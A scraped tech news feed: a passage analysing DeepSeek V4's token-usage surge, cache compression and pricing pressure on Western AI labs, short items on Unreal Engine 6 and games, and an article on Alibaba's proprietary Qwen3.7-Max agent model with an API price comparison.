Take the token usage metrics on OpenRouter, a leading public proxy for what models are the most popular among developers. OpenRouter allows developers an easy way to compare and deploy models, and while its data is by no means a full proxy for real model popularity — it confirms this structural migration is already taking place within company data pipelines. DeepSeek V4 Flash model has captured the No. 1 position on the OpenRouter leaderboard over the past week, surging 48% in token usage. Its advanced counterpart, V4 Pro, sits at No. 6. DeepSeek’s top three models processed nearly 6 trillion tokens on OpenRouter over the past week, giving it a huge lead over other competitors. For example, OpenAI’s premium model, GPT-5.5, has slipped down to No. 15 at 470B tokens.

It’s not clear exactly how much of the world’s token traffic is on OpenRouter. Conservative estimates put it at about 3%. It does not show the massive amounts of tokens being served by the APIs offered directly to developers by companies like Anthropic, OpenAI and Google. But recent estimates suggest OpenRouter processes between 15 and 40% of each of OpenAI’s and Google’s token usage, and growing, making it a significant indicator of relative trends regardless of the exact percentage it represents.

While skeptics often dismiss aggregator traffic as an indie developer signal rather than a reflection of Fortune 500 IT spend, the corporate pipeline reality is shifting. An infrastructure analysis by a leading venture capital firm, Andreessen Horowitz, revealed that enterprise production environments deploy a median of 14 different models simultaneously to price-route workloads and avoid single-vendor lock-in. This structural architecture shift is why OpenRouter recently secured a massive $113 million Series B funding round backed directly by the big enterprise data and software vendors that serve corporate America — including ServiceNow Ventures, Snowflake Ventures, Databricks Ventures, Nvidia's NVentures, and Google’s CapitalG. Stripe also cited OpenRouter’s enterprise customers in its decision to partner closely with the company.

That’s why DeepSeek’s surge on this leaderboard is so eye-opening. DeepSeek itself offers an API directly to developers, and so it too delivers more token traffic than what OpenRouter lets on.

Beyond chatbots: the rise of multi-step autonomous agents

The DeepSeek spike on OpenRouter indicates a deeper structural shift in how automated software architectures consume machine intelligence. Technical teams are moving beyond using trivial, single-turn chatbots, and starting to deploy more sophisticated autonomous agents that persist for hours at a time — recursively looping through codebases and data lakes. Their huge number of tool calls, and continuous rereading of long context histories, means AI token consumption expands exponentially.

Running these recursive loops on closed, premium Western APIs quickly creates unsustainable infrastructure costs. While corporate tech teams spent last year experimenting freely with early, single-turn prototypes without worrying about budgets, the onset of token-prolific autonomous agents has triggered an enterprise line-item crisis. VentureBeat's Q1 2026 research, which surveyed enterprise users at organizations with over 100 employees (n=65, in the U.S. software, finance and healthcare industries), confirms the shift: “Cost per token or licensing model” jumped from 25.4% in January to 36.7% in March, trailing only raw performance as the primary selection criterion for enterprise buyers.

DeepSeek target-optimized its weights for this specific trend of agentic high-token use. It has locked in on a standard input cost of $0.435 per million tokens and a standard output rate of $0.87 per million tokens, alongside a rock-bottom prefix-cached read cost of $0.003625 per million.

It's this third cost item — for cache — which is arguably the most significant. “If you measure how all of these agents now are using tokens, 80 to 90% of the tokens are cache-read tokens,” said Val Bercovici, Chief AI Officer at WEKA, a company that provides fast storage for much of this cache. “Which means that [that price] is almost by far the most important price, making the others irrelevant — nearly a rounding error. So what DeepSeek did is not just say we're going to be 5% cheaper, 10% cheaper, 20% cheaper. They're like 87x cheaper on that cache-read price with DeepSeek V4 Pro. So that's really set the industry on notice.”

The infrastructure coup: Decoupling HBM from Context

DeepSeek's core innovations are around hardware-software alignment. This is where we get a little technical.

While Western frontier labs like OpenAI have prioritized performance at all cost, they’ve invested billions into uncompressed "dense" neural architectures. DeepSeek, by contrast, has systematically sought to extract maximum intelligence from lower grade hardware, given that they’ve lacked access to Nvidia’s GPUs. By pioneering deep software optimizations as early as its V2 architectures in 2024, the lab engineered a series of four interconnected hardware-software alignment breakthroughs that decoupled a model's operational context from expensive computing overhead:

Breakthrough 1: Sequence Dimension Compression via CSA and HCA

The transformer architecture that most LLMs use is bottlenecked by something called the Key-Value (KV) cache. As an agent executes long, multi-step sessions, historical context keys clog the high-bandwidth memory (HBM) on the GPU, causing severe latency spikes and an expensive infrastructure tax.

DeepSeek resolved this structural bottleneck by introducing a hybrid attention mechanism — documented in the DeepSeek V4 Architecture Paper — that combines Compressed Sparse Attention (CSA) and Heavily Compressed Attention (HCA) to cut overall KV-cache usage by a massive 90% across its 1-million-token context window.

While traditional models try to keep a unique memory log for every individual word, DeepSeek compresses the rows of its memory cache. CSA acts as a local filter, condensing small windows of text into concise, indexable blocks so the model doesn't sweat the fine-grained details. HCA acts as an aggressive global index, crushing massive spans of text deep within a session's history into high-density summaries. By interleaving these layers, DeepSeek shrinks millions of memory rows down to a fraction of their size.

Breakthrough 2: Native memory offloading via Multi-head Latent Attention (MLA)

Using something called Multi-head Latent Attention (MLA), DeepSeek strips the active memory footprint of its context history down to a fraction of standard models. It achieves this by running a physical division of labor between hardware chips. While traditional models force expensive GPUs to hold a session's entire history, DeepSeek’s architecture keeps only the tiny, highly compressed search index tags (the Keys) on the GPU. Meanwhile, it offloads the heavy data payloads (the Values) entirely into cheaper system memory and local storage tiers. Once the GPU handles the high-speed matching to find relevant data, it calls the values from storage only on an as-needed basis.

DeepSeek’s architecture is so different that the inference engines that load an AI model's weights into GPU memory, in order to be ready for prompting, are being stretched. The three most popular engines — Nvidia TensorRT-LLM, the UC Berkeley one, SGLang and the really popular vLLM — “are all being stretched to keep up with being able to offer it, which is not normal,” explains WEKA’s Bercovici. "Every other open model has had some similarity to other open models. This one from DeepSeek is just built different."

DeepSeek's software engineering means its massive 1.6-trillion parameter model requires an astonishingly tiny 5.48 GB of HBM to hold a 1-million-token context loop in production, according to calculations by an analyst using hardware modeling benchmarks. For comparison, smaller models utilizing standard Western architectures choke up to 89 GB of HBM under the exact same context load.

Model Framework / Metric Tier	Active HBM Needed (1M Context)	Context Length Capacity	Multi-Step Cached Economics
DeepSeek V4-Pro (1.6T MoE)	5.48 GB	1,000,000 tokens	80% to 90% of workflow tokens
Qwen3-235B-A22B (GQA Standard)	89.00 GB	1,000,000 tokens	Subject to steep hardware tax
GPT-5.5 / Claude 4.7-class (Western Frontier / MoE)	180+ GB	1,000,000 tokens	Prohibitive premium infrastructure tax

DeepSeek’s extreme compression of the KV cache down to 5.48 GB of HBM is also a calculated geopolitical strategy to bypass U.S. export bans on top-tier Nvidia GPUs. By reducing the need for HBM and Nvidia’s CUDA ecosystem, DeepSeek’s software design allows frontier AI to run efficiently on domestic, lower-cost, and unsanctioned Chinese storage tiers like NAND flash, commodity SSDs, and LPDDR memory (produced by domestic giants like YMTC and CXMT).

Breakthrough 3: Ultra-Low Footprint Inference via FP4 Quantization-Aware Training (QAT)

To keep compute costs low over massive context windows, DeepSeek moved away from the old approach of scanning bulky, uncompressed numbers every time the model searches its memory. Instead, as detailed in the DeepSeek V4 Technical Report, the architecture runs an advanced form of data compression directly on the active pathways it uses to find information during training.

This compression slashes memory demands to deliver a 2x hardware speedup, yet it maintains a near-flawless 99.7% accuracy in how the system targets and indexes specific data blocks. This engineering win allows enterprise workflows to process massive, multi-step agent tasks smoothly while keeping an exceptional 83.5% retrieval accuracy on extreme, million-token "needle-in-a-haystack" benchmarks—eliminating performance lags without draining expensive GPU power.

Breakthrough 4: Ultra-scale training stability via manifold-constrained hyper-connections (mHC)

Training a 1.6-trillion parameter model creates instability risk — causing too many data pathways and processing signals to cascade out of control, crashing the run. DeepSeek resolved this with a framework called Manifold-Constrained Hyper-Connections (mHC), which uses a balancing routine to force the model's internal data tables to always sum to one — a mathematical safety valve that lets complex data move through deep networks without runaway spikes.

The infrastructure pivot: rebuilding corporate plumbing

DeepSeek’s significant architectural cache efficiency alters the underlying unit economics for the cloud platforms hosting these models. On developer aggregators like OpenRouter, where third-party providers routinely offer advanced endpoints at a loss, to capture developer mindshare, this hardware-software decoupling alters the balance sheet. DeepSeek's extremely low cost likely gives DeepSeek a profit, at least when it comes to serving the model in China, Bercovici said.

This transformation in provider-side unit economics is mirrored on the buy-side, which shows a structural change happening across enterprise IT budgets. VentureBeat's Q1 2026 AI Infrastructure and Compute tracker survey — which tracks enterprise technology buyers at organizations with over 100 employees (n=53 in January, n=39 in February) across software, financial services, healthcare, and manufacturing sectors — revealed that enterprise adoption of custom, self-managed inference stacks utilizing open-source frameworks like Triton, vLLM, Ray, and Kubernetes surged from 11.3% to 17.9%. Because these software layers allow corporate engineering teams to deploy open-weights architectures natively across their own clusters, they act as an operational escape hatch from closed cloud ecosystems.

This software shift is paired with an aggressive hardware migration: enterprise workloads moving to specialized, inference-first AI clouds like CoreWeave, Lambda, and Crusoe grew from 30.2% to 35.9% in the latest survey window. These infrastructure metrics indicate that corporate technology leaders are no longer just prototyping with open alternatives; they are actively laying down the physical plumbing required to host architectures like DeepSeek V4 independently, increasingly pricing away the premium markup of Western API gatekeepers.

The strategic split for Western labs

This baseline cost reduction could soon fracture the competitive field in Silicon Valley, by rewriting the expectations for labs attempting to yield a return on massive infrastructure investments.

For now, though, the Silicon Valley music is unlikely to stop anytime soon. Anthropic remains on an extraordinary enterprise trajectory, driven by widespread adoption of Claude Code and its codebase-aware terminal execution. For enterprise engineering teams, paying a premium for Anthropic's deterministic accuracy makes perfect sense for core production software development. Yet even an elite frontier lab scaling at this pace must watch DeepSeek with caution: an open-weights architecture under an MIT license offering near-frontier utility at a 75% cost reduction places downward pricing pressure on the high-volume operational layers of any multi-agent system.

The primary structural margin squeeze may land more squarely on OpenAI, despite its aggressive pivot toward a multi-cloud footprint. To support its staggering consumer and API token volumes, OpenAI fundamentally altered its historic seven-year exclusive alliance with Microsoft, unbundling its distribution so it can serve models across Azure, Oracle, AWS, and Google Cloud. Yet this multi-cloud strategy, while providing raw capacity at scale, leaves the company intensely exposed to infrastructure commodity pressure.

Unlike Anthropic, which has successfully insulated its margins by embedding its models into premium, high-utility software environments like Claude Code, a massive portion of OpenAI's enterprise revenue relies on high-volume, general-purpose API token streams. To be fair, Western labs have already begun quietly retreating from this territory — aggressively launching deep batch API discounts, prompt caching features, and lightweight entry models to stem the bleed. Yet this tactical retreat only reinforces the structural crisis: Silicon Valley is actively conceding the high-volume commodity layer because they know they cannot defend its margins. When those exact same automated background workflows can be handled natively by highly intelligent open weights like DeepSeek V4, defending a premium price point for raw cloud text completion ceases to be a defensible strategy.

More significantly, unlike OpenAI or Anthropic, DeepSeek has much less interest in urgently building consumer wrappers or locking developers into subscription frameworks. Instead, DeepSeek is positioned for a longer-term ecosystem play. Supported by a massive state-backed funding round led by China’s "Big Fund" — which has pushed the startup's targeted valuation into the $10 billion to $45 billion range — the lab’s more likely objective is to prove the viability of a self-sufficient, independent Chinese AI hardware stack that could one day be worth up to $10 trillion.

Premium deterministic tier (Anthropic / OpenAI / Google)

High-volume agentic tier (DeepSeek / open ecosystems)

• Core Codebase Refactoring

• Strict Corporate Compliance & Guardrails

• Mission-Critical Financial/Legal Precision

• High CapEx / R&D Premium Margins

• Recursive Multi-Agent Loops

• Prefix-Cached Autonomous Tool Swarms

• Massive Real-Time Ingestion Logs

• Bare-Metal / Optimized HBM Economics

The operational division between western labs and models like DeepSeek V4 Pro is already showing up. Financial company Ramp benchmarked automated cybersecurity agent swarms, and showed that while DeepSeek V4 Pro completely flatlines on the most complex security logic, it achieves a flawless 100% detection rate on high-volume baseline tasks like cloud configuration triage — significantly outperforming OpenAI’s GPT-5.5 (44%). For an enterprise CISO, the strategy is clear: You offload the high-volume token burn of routine background noise to cheap open weights, and reserve premium frontier models strictly for the high-level reasoning required to catch the most sophisticated flaws.

The enterprise verdict

For IT operations directors and data pipeline managers, the choice to migrate to an open architecture like DeepSeek V4-Pro is a smart governance decision. The open model gives companies total architecture control, allowing them to host it on-premise or via any specialized cloud layer they choose. Crucially, it provides enterprise infrastructure leads with a strategic operational fallback that closed vendors can’t match: the power to download raw model weights and execute them privately for zero marginal token cost if public cloud pricing or API access conditions change.

The assumption that closed frontier labs hold a permanent monopoly on useful enterprise reasoning has collapsed. While engineering directors will continue to pay a premium to protect specialized, deterministic workflows, the financial foundation of the frontier lab model has fundamentally shifted. By diverting the immense, day-to-day token volume of recursive background agents onto highly optimized, open-source clusters, enterprise teams are starving proprietary clouds of their highest-margin fuel. Silicon Valley’s multi-billion dollar token moat didn't just narrow — it was completely drained from the bottom up.

Google employee charged with using insider data to rig bets on Polymarket

Thu, 28 May 2026 15:03:07 +0200

US DoJ alleges software engineer Michele Spagnuolo, 36, earned $1.2m betting on Google’s most-searched list

The US justice department has charged a Google software engineer with using insider information to rig bets tied to Google’s most-searched list on prediction market Polymarket, earning $1.2m in profits, according to a complaint unsealed on Wednesday.

Michele Spagnuolo, a 36-year-old Italian citizen, allegedly used insider information to bet on long-shot candidates like indie pop musician D4vd, who appeared on Google’s most-searched list after he was arrested and accused of murdering a teenage girl, according to the complaint.

Imagineers Share Secrets of Disney's New Ride Technology video

Thu, 28 May 2026 14:48:21 +0200

Disney's newest animatronic was created by motion-capturing a Muppet, and a classic Tomorrowland ride is now packed with 200 Unreal Engine machines. CNET's Bridget Carey learns about the unexpected high-tech upgrades at Walt Disney World in Florida, which include the attractions Rock 'n' Roller Coaster, Millennium Falcon: Smuggler's Run and Buzz Lightyear's Space Ranger Spin.

You Won't Believe the Tech Disney Used to Update These Rides

Thu, 28 May 2026 14:48:18 +0200

There are 200 machines running Unreal Engine in just one ride.

Forza Horizon 6 was suddenly dethroned by a high-scoring indie game that you probably haven't heard of

Thu, 28 May 2026 11:11:37 +0200

Mina the Hollower has overtaken Forza Horizon 6 as the highest-rated game on Metacritic, with Yacht Club Games’ upcoming indie release earning widespread praise from critics.

A new fan project adds Crash Bandicoot to Spyro, giving players a crossover they never got officially

Wed, 27 May 2026 20:36:53 +0200

A fan-made Unreal Engine 5 project called Sprash combines Crash Bandicoot and Spyro into one playable experience, featuring upgraded visuals, co-op multiplayer, and classic Spyro levels.

How to watch India vs Jamaica — stream Unity Cup 2026 for less than $1

Wed, 27 May 2026 17:02:41 +0200

All the ways to watch Unity Cup 2026 semi-final live streams, with India vs Jamaica friendly set to light up The Valley in London.

Epic Games Introduces Unreal Engine 6 With New Rocket League Era

Wed, 27 May 2026 11:10:38 +0200

Not so long ago, Unreal Engine 5 felt like the future of gaming. We got hyper-realistic...

The post Epic Games Introduces Unreal Engine 6 With New Rocket League Era appeared first on Fossbytes.

Indie-Puzzle Sequvo bringt musikalische Logikspiele auf das iPhone

Tue, 26 May 2026 18:56:01 +0200

Das US-Indie-Studio Wallace Interactive LLC veröffentlicht mit Sequvo (App Store-Link) ein ungewöhnliches Puzzle-Spiel im App Store, das musikalisches Denken mit klassischer Logikmechanik verbindet. Der Titel ist ab sofort weltweit verfügbar, inklusive Deutschland, und richtet sich an Spieler und Spielerinnen, die strukturierte Rätsel statt hektischer Action bevorzugen. Im Kern von Sequvo steht ein einfaches, aber cleveres […]

Der Beitrag Indie-Puzzle Sequvo bringt musikalische Logikspiele auf das iPhone erschien zuerst auf appgefahren.de.

Epic Games Hints at Unreal Engine 6 Timeline as Rocket League Becomes First Confirmed UE6 Game

Tue, 26 May 2026 18:14:16 +0200

Epic Games has finally offered the clearest sign yet that Unreal Engine 6 is moving closer to reality, and the company used Rocket League to…

The post Epic Games Hints at Unreal Engine 6 Timeline as Rocket League Becomes First Confirmed UE6 Game appeared first on OnMSFT.

Rocket League: Epic zeigt ersten Blick auf die Unreal Engine 6

Tue, 26 May 2026 17:18:31 +0200

Rocket League bekommt einen neuen Unterbau und damit ist nicht der Motor der Autos gemeint. Epic Games hat im Rahmen des Rocket League Paris Major einen kurzen Teaser zu einer überarbeiteten Version des Spiels gezeigt. Das gezeigte Gameplay lief laut...

Zum Beitrag: Rocket League: Epic zeigt ersten Blick auf die Unreal Engine 6

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Unreal Engine: UE6 lässt Rocket League wie ein neues Spiel aussehen

Tue, 26 May 2026 12:32:00 +0200

Rocket League bekommt mit der Unreal Engine 6 modernere Grafik, Raytracing und wohl die größte technische Erneuerung seit dem Start. (Epic Games, Unreal-Engine)

Unreal Engine 6: Epic zeigt erste Szenen in „Rocket League“

Tue, 26 May 2026 09:31:14 +0200

Epic hat erstmals die Unreal Engine 6 in „Rocket League“ angeteasert. Ein Release-Termin und eine Feature-Liste fehlen.

Mit Unreal Engine 6: Erster Teaser zeigt Rocket League der nächsten Generation

Tue, 26 May 2026 09:02:41 +0200

Relativ unerwartet hat Epic Games die Unreal Engine 6 offiziell enthüllt. Demnach wird Rocket League in der Zukunft auf die neue Game-Engine setzen, wie aus einem Trailer hervorgeht, der auf dem Paris Major Championship gezeigt wurde.

Epic Games reveals a first look at Unreal Engine 6 with a Rocket League makeover

Mon, 25 May 2026 20:17:08 +0200

We still don't have a release date for the new game engine.

Luna Abyss Review (PC)

Mon, 25 May 2026 12:07:29 +0200

As someone who platinumed Returnal and was looking forward to Saros on PC, I was very excited to hear that an indie dev is entering this bullet hell shooter genre. Their game is called Luna Abyss, and it’s exactly what you would expect, a fun blend of story, shooting and chaos, all combined in a 5–7-hour adventure that doesn’t overstay its welcome. One of the first things that you immediately see in Luna Abyss is how weird and also interesting the world is. The level design is very creative, even if the budget clearly limits what they could do in a lot of cases. The main character, an android called Fawkes, is very powerful, but you will clearly be matched with enemies that match your powers most of the time. That’s why I felt Luna Abyss is very fair when it comes to combat. Yes, you have some enemies that will require some strategy when it comes to attacking and killing, but it all feels fair and very rewarding once you bring down those large enemies and bosses. E...

Neue Grafik-Ära: Mini-Teaser enthüllt unerwartet Epics Unreal Engine 6

Mon, 25 May 2026 10:37:26 +0200

Psyonix kündigt ein weitreichendes Grafik-Update für das Autospiel Rocket League an. Ein Teaser-Video enthüllt dabei völlig überraschend die brandneue Unreal Engine 6. Ein Startdatum und Details zur Software von Epic Games fehlen aktuell jedoch noch. (Weiter lesen)

Unreal Engine 6 revealed with a major Rocket League upgrade - the teaser concerns me

Mon, 25 May 2026 09:56:34 +0200

At the recent Paris Major, fans were treated to a teaser of a next-gen Rocket League upgrade powered by an also new announcement of Unreal Engine 6.

Read the full article on GamingOnLinux.

Epic Games Unveils Unreal Engine 6 Along With 'New Era' of Rocket League

Mon, 25 May 2026 08:46:42 +0200

Epic Games and Psyonix revealed a first look at Unreal Engine 6, powering the "next era" of Rocket League. In a brief teaser video, Psyonix showed off an updated version of Rocket League running on UE6. Epic has not announced a release date for the next iteration of its game engine.

AI 'Crashes the Party' at This Year's Cannes Film Festival - Including Multi-Year Meta Partnership

Mon, 25 May 2026 03:50:16 +0200

AI "crashed the party" at this year's Cannes Film Festival, writes The Hollywood Reporter. The festival exposed "the fault lines reshaping cinema," their article argues, including how "AI is here — and the industry has stopped pretending otherwise." A humanoid robot spotted marching up and down the Croisette seemed to sum up the worst AI fears of the film industry — the machines have arrived and they are taking your place. But inside the Palais and the market tents, the conversation over artificial intelligence had moved beyond fear into something more like uneasy acceptance. Fighting AI "is a battle we will lose," said Demi Moore, a Cannes jury member this year, at the festival's opening press conference, suggesting the film industry needs to "find ways in which we can work with it." That's not the official Cannes line. The festival has banned films using generative artificial intelligence from its competition lineup. But at the Cannes film market, and in discussions at industry events over the past two weeks, the tone has shifted. AI-friendly tech giant Meta signed on as an official partner to the festival in a multiyear deal. Its AI tools were used to help produce an [out of competition] festival entry: Steven Soderbergh's documentary John Lennon: The Last Interview. [Meta's press release announcing the partnership touts "our creator partnerships," their Meta AI assistant, and "our latest AI and wearable technologies" including Ray-Ban Meta AI features for smartglasses like "AI-powered translations that break down language barriers in real-time".] At the Marché du Film [film market], there was an "AI for Talent Summit" that took the AI revolution as given, focusing instead on ethical AI use, data sovereignty and on the ways the technology can be used to enhance, rather than replace, creativity. For the indie film industry, it felt like a turning point.

Read more of this story at Slashdot.

Myst and Riven remakes, the return of Bubsy and other new indie games worth checking out

Sat, 23 May 2026 13:32:07 +0200

Among the indie games we've seen worth checking out is a puzzle platformer inspired by mental health challenges and turning failures into progress.

Drill, craft, and blast your way through the demo of Veridian Expanse

Fri, 22 May 2026 18:11:11 +0200

Bringing together the worlds of twin-stick arcade shooters with crafting and exploration, Veridian Expanse is another indie game with a demo worth a go.

Read the full article on GamingOnLinux.

Epic Games verschenkt jetzt drei grandiose Spiele-Klassiker auf einen Schlag

Fri, 22 May 2026 15:31:18 +0200

Es gibt kaum eine Spielereihe, die an den kulturellen Einfluss von Tomb Raider herankommt. Und jetzt gibt es die perfekte Gelegenheit, um die Anfänge von Lara Croft selbst zu erleben. Glücklicherweise aber mit aufgehübschter Grafik und besserer Bedienung als früher.

Im Epic Games Store gibt es ab sofort nämlich Tomb Raider I-III Remastered Starring Lara Croft komplett gratis. Darin enthalten sind die ersten drei Teile sowie alle dafür erschienenen Erweiterungen:

Tomb Raider I (1996) + Unfinished Business Expansion
Tomb Raider II (1997) + Golden Mask Expansion
Tomb Raider III (1998) + The Lost Artifact Expansion

Ursprünglich stammen die ersten drei Teile vom Entwicklerstudio und Publisher Core Design. Die Remaster wurden allerdings vom aktuellen Lizenzinhaber Crystal Dynamics in Zusammenarbeit mit Aspyr entwickelt und 2024 veröffentlicht.

Dazu wurde der originale Code der Spiele genutzt, doch die Optik ist durch zahlreiche Verbesserungen deutlich moderner. Zusätzlich wurde auch die Steuerung angepasst, denn zu Beginn steuerte sich die Heldin Lara Croft noch wie ein Panzer. Zwar spielt es sich nach wie vor gewöhnungsbedürftig, doch insgesamt sollte es jetzt deutlich leichter fallen, mit Lara zu schießen und zu klettern.

Auf Wunsch können alle, die die Spiele bereits im Original erlebt haben, auch auf die klassische Grafik umschalten. Außerdem ist es möglich, die verschiedenen Level in einem besonderen Challenge-Modus zu modifizieren und erneut zu spielen. Dieser Modus wurde nachträglich hinzugefügt, ebenso wie zehn neue Outfits für Lara.

Darum lohnt sich Tomb Raider Remastered

Auf der Bewertungsplattform Metacritic erhielt die Remastered-Collection recht positive Wertungen und pendelte sich bei einer Gesamtwertung von 75 Punkten ein. Tester lobten das zeitlose Abenteuer, das man mit Lara Croft in allen drei Spielen erleben kann.

Viele Eigenheiten von Tomb Raider wurden beibehalten, um den Kern der Spiele nicht zu sehr zu verändern. Die modernen Anpassungen sorgen aber dafür, dass sowohl neue als auch wiederkehrende Fans mit dem Remaster etwas anfangen können.

Im Gegensatz zum kommenden Tomb Raider: Legacy of Atlantis handelt es sich allerdings “nur” um ein Remaster und nicht um ein aufwendig entwickeltes Remake. Daher sollten Sie damit rechnen, dass weiterhin Bugs oder technische Probleme auftreten können, die nicht vollständig behoben wurden.

So bekommen Sie die Gratis-Spiele

Normalerweise kostet Tomb Raider I-III Remastered 26,99 Euro im Epic Games Store, doch vom 21. Mai bis zum 28. Mai um 17 Uhr erhalten Sie das Spiel komplett gratis. Sie müssen sich lediglich mit einem Konto bei Epic anmelden, das Spiel ihrem Warenkorb hinzufügen und es dann ihrer Bibliothek hinzufügen. Auch nach Ablauf des Gratis-Zeitraums dürfen Sie es behalten und weiterspielen.

Neben Tomb Raider I-III Remastered gibt es übrigens auch das Indie-Spiel Down in Bermude im selben Zeitraum gratis.

Zocken ohne zu zahlen: Die besten Gratis-Spiele

Retro-Klassiker gratis: Tomb Raider I-III Remastered ballert im Epic Games Store

Fri, 22 May 2026 07:17:41 +0200

Neben dem Indie-Titel Down in Bermuda, lässt der Epic Games Store in dieser Woche das Retro-Bundle Tomb Raider I-III Remastered springen. Neben dem Butler Winston sind Schätze, verschiedenste Gegner und jede Menge Kanonengefechte mit von der Partie. Beide Spiele können bis zum 28. Mai 2026 um 17 Uhr gratis hinzugefügt werden.

Alibaba's proprietary Qwen3.7-Max can run for 35 hours autonomously and supports external harnesses like Anthropic's Claude Code

Fri, 22 May 2026 03:17:24 +0200

The AI industry has fully entered the "agent era," a paradigm where AI models do far more than generate text — they now actively plan, execute, and course-correct complex tasks over days rather than seconds.

Thus, it's perhaps unsurprising to see Chinese e-commerce giant Alibaba's famed Qwen Team of AI researchers release a model capable of performing autonomous agentic AI work over multiple days: that model has arrived in the form of Qwen3.7-Max which the company reports in a blog post achieved "~35 hours of continuous autonomous execution" — albeit, in a proprietary, not open source format, as prior Qwen Team releases were.

This is also to be expected — it's what many analysts and industry experts feared in the wake of the departure of several key Qwen Team leaders earlier this year. But it makes sense for Alibaba financially, at least in the short term: training AI models, especially ones as powerful as Qwen3.7-Max, is expensive, and giving them away essentially for free, as open source models are, does not immediately help recoup any costs.

In that sense, Alibaba is simply aligning its efforts with American AI giants like OpenAI and Google by offering the latest and greatest models only through paid APIs and subscription or paid web plan bundles, and slightly less performant ones through open source.

Still, the arrival of Qwen3.7-Max offers further optionality to enterprises and individual users, and more competition for American AI labs — rarely a bad thing for consumers at all budget levels. Yet, the fact that the model is only accessible from Chinese-based endpoints means it may be limited in its appeal to American and European enterprises seeking to maximize compliance and security posturing when fulfilling government contracts, or even just attempting to comply with all relevant state, local, and national data sovereignty regulations.

The marathon AI era

To understand why Qwen3.7-Max is a departure from previous models, one must look at how it was trained and how it operates in practice.

Language models typically degrade when forced to maintain a single train of thought over thousands of conversational turns; they forget instructions, hallucinate variables, or simply get stuck in logical loops. Qwen3.7-Max was specifically designed as a "versatile agent foundation" capable of "long-horizon reasoning" to overcome this exact bottleneck.

The starkest demonstration of this capability is an autonomous engineering task detailed by the Qwen team. The model was given access to an isolated server equipped with a T-Head ZW-M890 PPU—a hardware architecture the model had never encountered during its training. Its task was to optimize an attention kernel.

Over the course of 35 straight hours, Qwen3.7-Max operated entirely autonomously. It executed 1,158 distinct tool calls, performed 432 kernel evaluations, diagnosed compilation failures, and iteratively improved the code to achieve a 10.0x geometric mean speedup.

By comparison, Chinese competitor models like z.ai's GLM-5.1 and Moonshot's Kimi K2.6 capped out at 7.3x and 5.0x speedups respectively, often voluntarily terminating their sessions when they failed to make progress. However, both are available open source.

This endurance is achieved through what Alibaba calls "environment scaling". Just as early LLMs grew smarter by ingesting more diverse text, Qwen3.7-Max was trained across a vast, scaled array of dynamic agentic environments.

It is capable of simulating a one-year lifecycle of a startup in the "YC-Bench" evaluation, navigating hundreds of decision-making rounds encompassing personnel management and contract screening. In this simulation, the model managed to generate $2.08 million in virtual revenue, nearly doubling the performance of the prior generation, Qwen3.6-Plus.

Furthermore, the model has built-in reward-hacking self-monitoring, autonomously detecting when it attempts to cheat a training environment and adding heuristic rules to correct its own behavior.

A brain for any scaffold

From a product perspective, Qwen3.7-Max is designed to be the cognitive engine for modern software development and enterprise automation.

The model offers a massive 1-million-token context window and a 64K maximum output limit, providing immense overhead for processing sprawling codebases or lengthy technical documents.

One of its most compelling features is "cross-harness generalization". Rather than being hardcoded to work best within a specific proprietary interface, Qwen3.7-Max is built to act as a drop-in intelligence layer for diverse agent frameworks. It supports the Anthropic API protocol natively, allowing developers to plug it directly into existing tools like Claude Code or OpenClaw.

The benchmark data provided by Alibaba indicates that this generalized approach has paid massive dividends.

On the Apex Math Reasoning benchmark, Qwen3.7-Max scored 44.5, eclipsing Claude Opus-4.6 Max's score of 34.5 and DeepSeek V4-Pro Max's 38.3. It also posted dominant scores on Humanity's Last Exam (41.4) and the realistic coding agent benchmark MCP-Atlas (76.4).

This translates into tangible utility for end-users. Through open source Model Context Protocol (MCP) integrations, the model can operate as an autonomous office assistant, capable of reading university formatting specs and automatically reformatting a messy Word document via command-line tools without human intervention.

Running this level of intelligence comes at a distinct cost. Developers accessing the API via Alibaba Cloud Model Studio will pay $2.50 per 1 million input tokens and $7.50 per 1 million output tokens. The platform also features explicit cache creation and read pricing, as well as a $10 fee per 1,000 calls for integrated web searches, though code interpreter tools remain free for a limited time.

Qwen3.7-Max occupies a strategic middle ground in the current API economy. While it demands a notable premium over aggressively priced domestic rivals—costing nearly double DeepSeek V4 Pro ($5.22) and Z.ai's GLM-5.1 ($5.80)—it drastically undercuts the Western frontier giants it routinely matches on benchmarks.

For context, running heavy agentic workflows through OpenAI's GPT-5.4 or Anthropic's Claude Opus 4.7 will run developers $17.50 and $30.00 per million tokens, respectively. See VentureBeat's pricing chart below:

VentureBeat Frontier AI Model API Pricing Snapshot

Model	Input	Output	Total Cost	Source
MiMo-V2.5 Flash	$0.10	$0.30	$0.40	Xiaomi MiMo
MiniMax M2.7	$0.30	$1.20	$1.50	MiniMax
Gemini 3.1 Flash-Lite	$0.25	$1.50	$1.75	Google
MiMo-V2.5	$0.40	$2.00	$2.40	Xiaomi MiMo
Kimi-K2.6	$0.95	$4.00	$4.95	Moonshot/Kimi
GLM-5	$1.00	$3.20	$4.20	Z.ai
Grok 4.3 (low context)	$1.25	$2.50	$3.75	xAI
DeepSeek V4 Pro	$1.74	$3.48	$5.22	DeepSeek
GLM-5.1	$1.40	$4.40	$5.80	Z.ai
Claude Haiku 4.5	$1.00	$5.00	$6.00	Anthropic
Grok 4.3 (high context)	$2.50	$5.00	$7.50	xAI
Qwen3.7-Max	$2.50	$7.50	$10.00	Alibaba Cloud
Gemini 3.5 Flash	$1.50	$9.00	$10.50	Google
Gemini 3.1 Pro Preview (≤200K)	$2.00	$12.00	$14.00	Google
GPT-5.4	$2.50	$15.00	$17.50	OpenAI
Gemini 3.1 Pro Preview (>200K)	$4.00	$18.00	$22.00	Google
Claude Opus 4.7	$5.00	$25.00	$30.00	Anthropic
GPT-5.5	$5.00	$30.00	$35.00	OpenAI

By positioning Qwen3.7-Max just below Google's Gemini 3.5 Flash ($10.50) but well above budget-tier models, Alibaba is signaling that this isn't a commodity release; it’s a flagship reasoning engine priced to lure enterprise workloads away from Silicon Valley's most expensive offerings.

Licensing remains proprietary for now

For all its technical brilliance, the most controversial aspect of Qwen3.7-Max is how it is distributed. Qwen is billing the release as a "proprietary model". It is strictly API-only.

Historically, Alibaba’s Qwen has been a hero to the open-source and local LLM communities. Previous iterations, like Qwen 2.5 and Qwen 3.6, released their weights publicly. Open weights allow developers, researchers, and enterprises to download the model, run it on their own hardware, and fine-tune it for highly specific or data-sensitive use cases without sending proprietary information to a third-party server.

